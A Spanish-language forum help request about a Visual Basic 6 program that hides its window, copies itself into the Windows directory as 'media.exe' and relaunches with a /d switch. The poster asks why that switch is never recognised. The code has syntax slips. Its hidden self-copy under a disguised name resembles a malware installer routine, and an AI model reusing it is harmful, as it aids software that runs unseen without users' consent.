Help con Command ...

[[GB]]

Hola, la idea basica del programa es (paso a paso):

1) Cuando se ejecuta por primera vez el programa x.exe (supongamos que esta en el escritorio), este se copia al directorio de windows con el nombre media.exe.
2) Se ejecuta el media.exe desde x.exe con el parametro /d 
( Shell (WinDir & "media.exe /d") )
3) Luego que se pregunta si al comando se le paso el /d y hace lo de abajo mostrando alguno de sus msgbox para su caso correspondiente...

Bueno el problema esta en lo ultimo xD.. NUNCA entra en el primer if  ( If Command = "/d" Then ....) y el parametro se lo pase /d desde con el shell
Shell (WinDir & "media.exe /d")


el codigo:

Código [Seleccionar] Expandir

Private Sub Form_Load()

    On Error Resume Next
    Me.Hide
   
   If Command = "/d" Then
        III.Do = True
        If III.Ok Then
            III.Set "Param", "Int", "300"
            MsgBox III.Name & ": ok hecho"
        Else
            MsgBox III.Name & ": fallo"
        End If
        End
    ElseIf Command = "/e" Then
        If III.Kill Then
            MsgBox III.Name & ": ok deshecho"
        Else
            MsgBox III.Name & ": fallo"
        End If
       End If
   
   If Command <> "" Then
      Sleep 20000
      Dim directorio As String
      directorio = App.directorio
  If Right(directorio, 1) <> "\" Then directorio = directorio & "\"
      directorio = directorio & App.EXEName & ".exe"
      Dim ruta As String
      ruta = Environ("WinDir") & "media.exe"
      DeleteFile ruta
     
      FileCopy directorio, WinDir & media.exe"
       Sleep 20000
      Shell (WinDir & "media.exe /d")

      End
   End If

End sub

que estare haciendo mal? ( se entiende la idea? )

[[GB]]

Ah una cosa.. cuando ejecuto el media.exe (le mando el comando desde afuera con un archivo  bat  por ejemplo: media.exe /d ) .. entra bien en el if y manda el msgbox pero desde el shell como que no funciona el parametro o algo pasa.. nunca entra .. no entiendo

[[GB]]

UP! creen que deba explicarme mejor? xD